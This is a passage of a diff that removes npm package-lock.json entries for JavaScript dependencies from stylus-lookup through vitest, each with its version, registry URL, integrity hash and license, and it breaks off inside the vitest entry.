"https://registry.npmjs.org/stylus-lookup/-/stylus-lookup-6.1.2.tgz", - "integrity": "sha512-O+Q/SJ8s1X2aMLh4213fQ9X/bND9M3dhSsyTRe+O1OXPcewGLiYmAtKCrnP7FDvDBaXB2ZHPkCt3zi4cJXBlCQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "commander": "^12.1.0" - }, - "bin": { - "stylus-lookup": "bin/cli.js" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/stylus-lookup/node_modules/commander": { - "version": "12.1.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-12.1.0.tgz", - "integrity": "sha512-Vw8qHK3bZM9y/P10u3Vib8o/DdkvA2OtPtZvD871QKjy74Wj1WSKFILMPRPSdUSx5RFK1arlJzEtA4PkFgnbuA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - } - }, - "node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "license": "MIT", - "dependencies": { - "has-flag": "^4.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/supports-preserve-symlinks-flag": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", - "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/systeminformation": { - "version": "5.31.5", - "resolved": "https://registry.npmjs.org/systeminformation/-/systeminformation-5.31.5.tgz", - "integrity": "sha512-5SyLdip4/3alxD4Kh+63bUQTJmu7YMfYQTC+koZy7X73HgNqZSD2P4wOZQWtUncvPvcEmnfIjCoygN4MRoEejQ==", - "license": "MIT", - "os": [ - "darwin", - "linux", - "win32", - "freebsd", - "openbsd", - "netbsd", - "sunos", - "android" - ], - "bin": { - "systeminformation": "lib/cli.js" - }, - "engines": { - "node": ">=8.0.0" - }, - "funding": { - "type": "Buy me a coffee", - "url": "https://www.buymeacoffee.com/systeminfo" - } - }, - "node_modules/tapable": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.3.3.tgz", - "integrity": "sha512-uxc/zpqFg6x7C8vOE7lh6Lbda8eEL9zmVm/PLeTPBRhh1xCgdWaQ+J1CUieGpIfm2HdtsUpRv+HshiasBMcc6A==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/webpack" - } - }, - "node_modules/teeny-request": { - "version": "9.0.0", - "resolved": "https://registry.npmjs.org/teeny-request/-/teeny-request-9.0.0.tgz", - "integrity": "sha512-resvxdc6Mgb7YEThw6G6bExlXKkv6+YbuzGg9xuXxSgxJF7Ozs+o8Y9+2R3sArdWdW8nOokoQb1yrpFB0pQK2g==", - "license": "Apache-2.0", - "dependencies": { - "http-proxy-agent": "^5.0.0", - "https-proxy-agent": "^5.0.0", - "node-fetch": "^2.6.9", - "stream-events": "^1.0.5", - "uuid": "^9.0.0" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/teeny-request/node_modules/agent-base": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", - "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", - "license": "MIT", - "dependencies": { - "debug": "4" - }, - "engines": { - "node": ">= 6.0.0" - } - }, - "node_modules/teeny-request/node_modules/http-proxy-agent": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-5.0.0.tgz", - "integrity": "sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==", - "license": "MIT", - "dependencies": { - "@tootallnate/once": "2", - "agent-base": "6", - "debug": "4" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/teeny-request/node_modules/https-proxy-agent": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", - "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", - "license": "MIT", - "dependencies": { - "agent-base": "6", - "debug": "4" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/teeny-request/node_modules/node-fetch": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", - "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", - "license": "MIT", - "dependencies": { - "whatwg-url": "^5.0.0" - }, - "engines": { - "node": "4.x || >=6.0.0" - }, - "peerDependencies": { - "encoding": "^0.1.0" - }, - "peerDependenciesMeta": { - "encoding": { - "optional": true - } - } - }, - "node_modules/teex": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/teex/-/teex-1.0.1.tgz", - "integrity": "sha512-eYE6iEI62Ni1H8oIa7KlDU6uQBtqr4Eajni3wX7rpfXD8ysFx8z0+dri+KWEPWpBsxXfxu58x/0jvTVT1ekOSg==", - "license": "MIT", - "dependencies": { - "streamx": "^2.12.5" - } - }, - "node_modules/text-decoder": { - "version": "1.2.7", - "resolved": "https://registry.npmjs.org/text-decoder/-/text-decoder-1.2.7.tgz", - "integrity": "sha512-vlLytXkeP4xvEq2otHeJfSQIRyWxo/oZGEbXrtEEF9Hnmrdly59sUbzZ/QgyWuLYHctCHxFF4tRQZNQ9k60ExQ==", - "license": "Apache-2.0", - "dependencies": { - "b4a": "^1.6.4" - } - }, - "node_modules/tinybench": { - "version": "2.9.0", - "resolved": "https://registry.npmjs.org/tinybench/-/tinybench-2.9.0.tgz", - "integrity": "sha512-0+DUvqWMValLmha6lr4kD8iAMK1HzV0/aKnCtWb9v9641TnP/MFb7Pc2bxoxQjTXAErryXVgUOfv2YqNllqGeg==", - "dev": true, - "license": "MIT" - }, - "node_modules/tinyexec": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/tinyexec/-/tinyexec-1.1.2.tgz", - "integrity": "sha512-dAqSqE/RabpBKI8+h26GfLq6Vb3JVXs30XYQjdMjaj/c2tS8IYYMbIzP599KtRj7c57/wYApb3QjgRgXmrCukA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - } - }, - "node_modules/tinyglobby": { - "version": "0.2.15", - "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz", - "integrity": "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "fdir": "^6.5.0", - "picomatch": "^4.0.3" - }, - "engines": { - "node": ">=12.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/SuperchupuDev" - } - }, - "node_modules/tinyrainbow": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/tinyrainbow/-/tinyrainbow-3.1.0.tgz", - "integrity": "sha512-Bf+ILmBgretUrdJxzXM0SgXLZ3XfiaUuOj/IKQHuTXip+05Xn+uyEYdVg0kYDipTBcLrCVyUzAPz7QmArb0mmw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/to-regex-range": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", - "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "is-number": "^7.0.0" - }, - "engines": { - "node": ">=8.0" - } - }, - "node_modules/toidentifier": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", - "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", - "license": "MIT", - "engines": { - "node": ">=0.6" - } - }, - "node_modules/token-stream": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/token-stream/-/token-stream-1.0.0.tgz", - "integrity": "sha512-VSsyNPPW74RpHwR8Fc21uubwHY7wMDeJLys2IX5zJNih+OnAnaifKHo+1LHT7DAdloQ7apeaaWg8l7qnf/TnEg==", - "dev": true, - "license": "MIT" - }, - "node_modules/token-types": { - "version": "6.1.2", - "resolved": "https://registry.npmjs.org/token-types/-/token-types-6.1.2.tgz", - "integrity": "sha512-dRXchy+C0IgK8WPC6xvCHFRIWYUbqqdEIKPaKo/AcTUNzwLTK6AH7RjdLWsEZcAN/TBdtfUw3PYEgPr5VPr6ww==", - "license": "MIT", - "dependencies": { - "@borewit/text-codec": "^0.2.1", - "@tokenizer/token": "^0.3.0", - "ieee754": "^1.2.1" - }, - "engines": { - "node": ">=14.16" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/Borewit" - } - }, - "node_modules/tr46": { - "version": "0.0.3", - "resolved": "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz", - "integrity": "sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==", - "license": "MIT" - }, - "node_modules/tree-sitter-bash": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/tree-sitter-bash/-/tree-sitter-bash-0.25.1.tgz", - "integrity": "sha512-7hMytuYIMoXOq24yRulgIxthE9YmggZIOHCyPTTuJcu6EU54tYD+4G39cUb28kxC6jMf/AbPfWGLQtgPTdh3xw==", - "hasInstallScript": true, - "license": "MIT", - "dependencies": { - "node-addon-api": "^8.2.1", - "node-gyp-build": "^4.8.2" - }, - "peerDependencies": { - "tree-sitter": "^0.25.0" - }, - "peerDependenciesMeta": { - "tree-sitter": { - "optional": true - } - } - }, - "node_modules/trough": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/trough/-/trough-2.2.0.tgz", - "integrity": "sha512-tmMpK00BjZiUyVyvrBK7knerNgmgvcV/KLVyuma/SC+TQN167GrMRciANTz09+k3zW8L8t60jWO1GpfkZdjTaw==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/ts-algebra": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ts-algebra/-/ts-algebra-2.0.0.tgz", - "integrity": "sha512-FPAhNPFMrkwz76P7cdjdmiShwMynZYN6SgOujD1urY4oNm80Ou9oMdmbR45LotcKOXoy7wSmHkRFE6Mxbrhefw==", - "license": "MIT" - }, - "node_modules/ts-api-utils": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.5.0.tgz", - "integrity": "sha512-OJ/ibxhPlqrMM0UiNHJ/0CKQkoKF243/AEmplt3qpRgkW8VG7IfOS41h7V8TjITqdByHzrjcS/2si+y4lIh8NA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18.12" - }, - "peerDependencies": { - "typescript": ">=4.8.4" - } - }, - "node_modules/ts-graphviz": { - "version": "2.1.6", - "resolved": "https://registry.npmjs.org/ts-graphviz/-/ts-graphviz-2.1.6.tgz", - "integrity": "sha512-XyLVuhBVvdJTJr2FJJV2L1pc4MwSjMhcunRVgDE9k4wbb2ee7ORYnPewxMWUav12vxyfUM686MSGsqnVRIInuw==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/ts-graphviz" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/ts-graphviz" - } - ], - "license": "MIT", - "dependencies": { - "@ts-graphviz/adapter": "^2.0.6", - "@ts-graphviz/ast": "^2.0.7", - "@ts-graphviz/common": "^2.1.5", - "@ts-graphviz/core": "^2.0.7" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/ts-mixer": { - "version": "6.0.4", - "resolved": "https://registry.npmjs.org/ts-mixer/-/ts-mixer-6.0.4.tgz", - "integrity": "sha512-ufKpbmrugz5Aou4wcr5Wc1UUFWOLhq+Fm6qa6P0w0K5Qw2yhaUoiWszhCVuNQyNwrlGiscHOmqYoAox1PtvgjA==", - "license": "MIT" - }, - "node_modules/tsconfig-paths": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/tsconfig-paths/-/tsconfig-paths-4.2.0.tgz", - "integrity": "sha512-NoZ4roiN7LnbKn9QqE1amc9DJfzvZXxF4xDavcOWt1BPkdx+m+0gJuPM+S0vCe7zTJMYUP0R8pO2XMr+Y8oLIg==", - "dev": true, - "license": "MIT", - "dependencies": { - "json5": "^2.2.2", - "minimist": "^1.2.6", - "strip-bom": "^3.0.0" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/tslib": { - "version": "2.8.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", - "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", - "license": "0BSD" - }, - "node_modules/type-is": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/type-is/-/type-is-2.0.1.tgz", - "integrity": "sha512-OZs6gsjF4vMp32qrCbiVSkrFmXtG/AZhY3t0iAMrMBiAZyV9oALtXO8hsrHbMXF9x6L3grlFuwW2oAz7cav+Gw==", - "license": "MIT", - "dependencies": { - "content-type": "^1.0.5", - "media-typer": "^1.1.0", - "mime-types": "^3.0.0" - }, - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/typed-query-selector": { - "version": "2.12.2", - "resolved": "https://registry.npmjs.org/typed-query-selector/-/typed-query-selector-2.12.2.tgz", - "integrity": "sha512-EOPFbyIub4ngnEdqi2yOcNeDLaX/0jcE1JoAXQDDMIthap7FoN795lc/SHfIq2d416VufXpM8z/lD+WRm2gfOQ==", - "license": "MIT" - }, - "node_modules/typescript": { - "version": "6.0.3", - "resolved": "https://registry.npmjs.org/typescript/-/typescript-6.0.3.tgz", - "integrity": "sha512-y2TvuxSZPDyQakkFRPZHKFm+KKVqIisdg9/CZwm9ftvKXLP8NRWj38/ODjNbr43SsoXqNuAisEf1GdCxqWcdBw==", - "dev": true, - "license": "Apache-2.0", - "bin": { - "tsc": "bin/tsc", - "tsserver": "bin/tsserver" - }, - "engines": { - "node": ">=14.17" - } - }, - "node_modules/typescript-language-server": { - "version": "5.1.3", - "resolved": "https://registry.npmjs.org/typescript-language-server/-/typescript-language-server-5.1.3.tgz", - "integrity": "sha512-r+pAcYtWdN8tKlYZPwiiHNA2QPjXnI02NrW5Sf2cVM3TRtuQ3V9EKKwOxqwaQ0krsaEXk/CbN90I5erBuf84Vg==", - "dev": true, - "license": "Apache-2.0", - "bin": { - "typescript-language-server": "lib/cli.mjs" - }, - "engines": { - "node": ">=20" - } - }, - "node_modules/uint8array-extras": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/uint8array-extras/-/uint8array-extras-1.5.0.tgz", - "integrity": "sha512-rvKSBiC5zqCCiDZ9kAOszZcDvdAHwwIKJG33Ykj43OKcWsnmcBRL09YTU4nOeHZ8Y2a7l1MgTd08SBe9A8Qj6A==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/undici": { - "version": "8.2.0", - "resolved": "https://registry.npmjs.org/undici/-/undici-8.2.0.tgz", - "integrity": "sha512-Z+4Hx9GE26Lh9Upwfnc8C7SsrpBPGaM/Gm6kMFtiG7c+5IvQKlXi/t+9x9DrrCh29cww5TSP9YdVaBcnLDs5fQ==", - "license": "MIT", - "engines": { - "node": ">=22.19.0" - } - }, - "node_modules/undici-types": { - "version": "7.19.2", - "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.19.2.tgz", - "integrity": "sha512-qYVnV5OEm2AW8cJMCpdV20CDyaN3g0AjDlOGf1OW4iaDEx8MwdtChUp4zu4H0VP3nDRF/8RKWH+IPp9uW0YGZg==", - "license": "MIT" - }, - "node_modules/unicorn-magic": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/unicorn-magic/-/unicorn-magic-0.3.0.tgz", - "integrity": "sha512-+QBBXBCvifc56fsbuxZQ6Sic3wqqc3WWaqxs58gvJrcOuN83HGTCwz3oS5phzU9LthRNE9VrJCFCLUgHeeFnfA==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/unified": { - "version": "11.0.5", - "resolved": "https://registry.npmjs.org/unified/-/unified-11.0.5.tgz", - "integrity": "sha512-xKvGhPWw3k84Qjh8bI3ZeJjqnyadK+GEFtazSfZv/rKeTkTjOJho6mFqh2SM96iIcZokxiOpg78GazTSg8+KHA==", - "license": "MIT", - "dependencies": { - "@types/unist": "^3.0.0", - "bail": "^2.0.0", - "devlop": "^1.0.0", - "extend": "^3.0.0", - "is-plain-obj": "^4.0.0", - "trough": "^2.0.0", - "vfile": "^6.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/unified/node_modules/@types/unist": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", - "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==", - "license": "MIT" - }, - "node_modules/unist-util-is": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-6.0.1.tgz", - "integrity": "sha512-LsiILbtBETkDz8I9p1dQ0uyRUWuaQzd/cuEeS1hoRSyW5E5XGmTzlwY1OrNzzakGowI9Dr/I8HVaw4hTtnxy8g==", - "license": "MIT", - "dependencies": { - "@types/unist": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/unist-util-is/node_modules/@types/unist": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", - "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==", - "license": "MIT" - }, - "node_modules/unist-util-stringify-position": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-4.0.0.tgz", - "integrity": "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==", - "license": "MIT", - "dependencies": { - "@types/unist": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/unist-util-stringify-position/node_modules/@types/unist": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", - "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==", - "license": "MIT" - }, - "node_modules/unist-util-visit": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-5.1.0.tgz", - "integrity": "sha512-m+vIdyeCOpdr/QeQCu2EzxX/ohgS8KbnPDgFni4dQsfSCtpz8UqDyY5GjRru8PDKuYn7Fq19j1CQ+nJSsGKOzg==", - "license": "MIT", - "dependencies": { - "@types/unist": "^3.0.0", - "unist-util-is": "^6.0.0", - "unist-util-visit-parents": "^6.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/unist-util-visit-parents": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-6.0.2.tgz", - "integrity": "sha512-goh1s1TBrqSqukSc8wrjwWhL0hiJxgA8m4kFxGlQ+8FYQ3C/m11FcTs4YYem7V664AhHVvgoQLk890Ssdsr2IQ==", - "license": "MIT", - "dependencies": { - "@types/unist": "^3.0.0", - "unist-util-is": "^6.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/unist-util-visit-parents/node_modules/@types/unist": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", - "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==", - "license": "MIT" - }, - "node_modules/unist-util-visit/node_modules/@types/unist": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", - "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==", - "license": "MIT" - }, - "node_modules/universal-user-agent": { - "version": "7.0.3", - "resolved": "https://registry.npmjs.org/universal-user-agent/-/universal-user-agent-7.0.3.tgz", - "integrity": "sha512-TmnEAEAsBJVZM/AADELsK76llnwcf9vMKuPz8JflO1frO8Lchitr0fNaN9d+Ap0BjKtqWqd/J17qeDnXh8CL2A==", - "license": "ISC" - }, - "node_modules/universalify": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz", - "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 10.0.0" - } - }, - "node_modules/unpipe": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", - "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", - "license": "MIT", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/url-template": { - "version": "2.0.8", - "resolved": "https://registry.npmjs.org/url-template/-/url-template-2.0.8.tgz", - "integrity": "sha512-XdVKMF4SJ0nP/O7XIPB0JwAEuT9lDIYnNsK8yGVe43y0AWoKeJNdv3ZNWh7ksJ6KqQFjOO6ox/VEitLnaVNufw==", - "license": "BSD" - }, - "node_modules/util-deprecate": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", - "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", - "license": "MIT" - }, - "node_modules/uuid": { - "version": "9.0.1", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-9.0.1.tgz", - "integrity": "sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA==", - "funding": [ - "https://github.com/sponsors/broofa", - "https://github.com/sponsors/ctavan" - ], - "license": "MIT", - "bin": { - "uuid": "dist/bin/uuid" - } - }, - "node_modules/validate-npm-package-license": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz", - "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==", - "license": "Apache-2.0", - "dependencies": { - "spdx-correct": "^3.0.0", - "spdx-expression-parse": "^3.0.0" - } - }, - "node_modules/vary": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", - "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", - "license": "MIT", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/vectordrive": { - "optional": true - }, - "node_modules/vfile": { - "version": "6.0.3", - "resolved": "https://registry.npmjs.org/vfile/-/vfile-6.0.3.tgz", - "integrity": "sha512-KzIbH/9tXat2u30jf+smMwFCsno4wHVdNmzFyL+T/L3UGqqk6JKfVqOFOZEpZSHADH1k40ab6NUIXZq422ov3Q==", - "license": "MIT", - "dependencies": { - "@types/unist": "^3.0.0", - "vfile-message": "^4.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/vfile-message": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-4.0.3.tgz", - "integrity": "sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw==", - "license": "MIT", - "dependencies": { - "@types/unist": "^3.0.0", - "unist-util-stringify-position": "^4.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/vfile-message/node_modules/@types/unist": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", - "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==", - "license": "MIT" - }, - "node_modules/vfile/node_modules/@types/unist": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", - "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==", - "license": "MIT" - }, - "node_modules/vite": { - "version": "7.3.2", - "resolved": "https://registry.npmjs.org/vite/-/vite-7.3.2.tgz", - "integrity": "sha512-Bby3NOsna2jsjfLVOHKes8sGwgl4TT0E6vvpYgnAYDIF/tie7MRaFthmKuHx1NSXjiTueXH3do80FMQgvEktRg==", - "dev": true, - "license": "MIT", - "dependencies": { - "esbuild": "^0.27.0", - "fdir": "^6.5.0", - "picomatch": "^4.0.3", - "postcss": "^8.5.6", - "rollup": "^4.43.0", - "tinyglobby": "^0.2.15" - }, - "bin": { - "vite": "bin/vite.js" - }, - "engines": { - "node": "^20.19.0 || >=22.12.0" - }, - "funding": { - "url": "https://github.com/vitejs/vite?sponsor=1" - }, - "optionalDependencies": { - "fsevents": "~2.3.3" - }, - "peerDependencies": { - "@types/node": "^20.19.0 || >=22.12.0", - "jiti": ">=1.21.0", - "less": "^4.0.0", - "lightningcss": "^1.21.0", - "sass": "^1.70.0", - "sass-embedded": "^1.70.0", - "stylus": ">=0.54.8", - "sugarss": "^5.0.0", - "terser": "^5.16.0", - "tsx": "^4.8.1", - "yaml": "^2.4.2" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - }, - "jiti": { - "optional": true - }, - "less": { - "optional": true - }, - "lightningcss": { - "optional": true - }, - "sass": { - "optional": true - }, - "sass-embedded": { - "optional": true - }, - "stylus": { - "optional": true - }, - "sugarss": { - "optional": true - }, - "terser": { - "optional": true - }, - "tsx": { - "optional": true - }, - "yaml": { - "optional": true - } - } - }, - "node_modules/vitest": { - "version": "4.1.5", - "resolved": "https://registry.npmjs.org/vitest/-/vitest-4.1.5.tgz", - "integrity": "sha512-9Xx1v3/ih3m9hN+SbfkUyy0JAs72ap3r7joc87XL6jwF0jGg6mFBvQ1SrwaX+h8BlkX6Hz9shdd1uo6AF+ZGpg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@vitest/expect": "4.1.5", - "@vitest/mocker": "4.1.5", - "@vitest/pretty-format": "4.1.5", - "@vitest/runner": "4.1.5", - "@vitest/snapshot": "4.1.5", - "@vitest/spy": "4.1.5", - "@vitest/utils": "4.1.5", - "es-module-lexer": "^2.0.0", - "expect-type": "^1.3.0", - "magic-string": "^0.30.21", - "obug": "^2.1.1", - "pathe": "^2.0.3", - "picomatch": "^4.0.3", - "std-env": "^4.0.0-rc.1", - "tinybench": "^2.9.0", - "tinyexec": "^1.0.2", - "tinyglobby": "^0.2.15", - "tinyrainbow": "^3.1.0", - "vite": "^6.0.0 || ^7.0.0 || ^8.0.0", - "why-is-node-running": "^2.3.0" - }, - "bin": { - "vitest": "vitest.mjs" - }, - "engines": { - "node": "^20.0.0 || ^22.0.0 || >=24.0.0" - }, - "funding": { - "url": "https://opencollective.com/vitest" - }, - "peerDependencies": { - "@edge-runtime/vm": "*", - "@opentelemetry/api": "^1.9.0", - "@types/node": "^20.0.0 || ^22.0.0 || >=24.0.0", - 